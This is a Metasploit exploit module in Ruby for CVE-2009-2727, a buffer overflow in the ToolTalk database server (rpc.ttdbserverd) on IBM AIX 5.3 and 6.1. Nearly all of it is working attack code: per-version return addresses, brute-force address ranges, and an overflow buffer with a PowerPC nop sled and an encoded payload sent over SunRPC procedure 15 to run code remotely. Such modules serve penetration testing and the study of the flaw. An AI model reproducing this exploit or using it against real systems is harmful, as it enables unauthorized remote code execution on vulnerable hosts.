##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::SunRPC
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)',
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability in _tt_internal_realpath
        function of the ToolTalk database server (rpc.ttdbserverd).
      },
      'Author'         =>
        [
          'Ramon de C Valle',
          'Adriano Lima <adriano[at]risesecurity.org>',
        ],
      'Platform'       => [ 'aix' ],
      'References'     =>
        [
          [ 'CVE', '2009-2727'],
          [ 'OSVDB', '55151' ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00",
        },
      'Targets'        =>
        [
          [
            'IBM AIX Version 6.1.4',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20099430+4096,
              'Addr1'    => 0x2ff1ff50-8192,
              'AIX'  => '6.1.4',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20099430-8192 },
                'Stop'  => { 'Ret' => 0x20099430+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 6.1.3',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20099280+4096,
              'Addr1'    => 0x2ff1ffd0-8192,
              'AIX'  => '6.1.3',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20099280-8192 },
                'Stop'  => { 'Ret' => 0x20099280+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 6.1.2',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20099280+4096,
              'Addr1'    => 0x2ff1ffd0-8192,
              'AIX'  => '6.1.2',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20099280-8192 },
                'Stop'  => { 'Ret' => 0x20099280+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 6.1.1',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20099280+4096,
              'Addr1'    => 0x2ff1ffd0-8192,
              'AIX'  => '6.1.1',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20099280-8192 },
                'Stop'  => { 'Ret' => 0x20099280+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 6.1.0',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20099280+4096,
              'Addr1'    => 0x2ff1ffd0-8192,
              'AIX'  => '6.1.0',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20099280-8192 },
                'Stop'  => { 'Ret' => 0x20099280+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 5.3.10 5.3.9 5.3.8 5.3.7',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20096ba0+4096,
              'Addr1'    => 0x2ff1ff14-8192,
              'AIX'  => '5.3.9',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20096ba0-8192 },
                'Stop'  => { 'Ret' => 0x20096ba0+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 5.3.10',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20096bf0+4096,
              'Addr1'    => 0x2ff1ff14-8192,
              'AIX'  => '5.3.10',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20096bf0-8192 },
                'Stop'  => { 'Ret' => 0x20096bf0+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 5.3.9',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20096ba0+4096,
              'Addr1'    => 0x2ff1ff14-8192,
              'AIX'  => '5.3.9',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20096ba0-8192 },
                'Stop'  => { 'Ret' => 0x20096ba0+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 5.3.8',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20096c10+4096,
              'Addr1'    => 0x2ff1ff98-8192,
              'AIX'  => '5.3.8',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20096c10-8192 },
                'Stop'  => { 'Ret' => 0x20096c10+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 5.3.7',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20096c10+4096,
              'Addr1'    => 0x2ff1ff98-8192,
              'AIX'  => '5.3.7',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20096c10-8192 },
                'Stop'  => { 'Ret' => 0x20096c10+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'Debug IBM AIX Version 6.1',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0xaabbccdd,
              'Addr1'    => 0xddccbbaa,
              'AIX'  => '6.1.4',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0xaabbccdd },
                'Stop'  => { 'Ret' => 0xaabbccdd },
                'Step'  => 1024
              }
            }
          ],
          [
            'Debug IBM AIX Version 5.3',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0xaabbccdd,
              'Addr1'    => 0xddccbbaa,
              'AIX'  => '5.3.10',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0xaabbccdd },
                'Stop'  => { 'Ret' => 0xaabbccdd },
                'Step'  => 1024
              }
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 17 2009'))

  end

  def brute_exploit(brute_target)

    if not @aixpayload
      datastore['AIX'] = target['AIX']
      @aixpayload = regenerate_payload.encoded
    end

    print_status("Trying to exploit rpc.ttdbserverd with address 0x%08x..." % brute_target['Ret'])

    begin

      sunrpc_create('tcp', 100083, 1)

      if target['AIX'] =~ /6\./
        buf = "A"
      else
        buf = "AA"
      end

      buf << [target['Addr1']].pack('N') * (1022 + 8)
      buf << [brute_target['Ret']].pack('N') * 32

      if target['AIX'] =~ /6\./
        buf << "AAA"
      else
        buf << "AA"
      end

      buf << "\x7f\xff\xfb\x78" * 1920
      buf << @aixpayload
      buf = Rex::Encoder::XDR.encode(buf, 2, 0x78000000, 2, 0x78000000)

      print_status('Sending procedure 15 call message...')
      sunrpc_call(15, buf)

      sunrpc_destroy
      handler

    rescue Rex::Proto::SunRPC::RPCTimeout
      # print_error('RPCTimeout')
    rescue EOFError
      # print_error('EOFError')
    end
  end
end
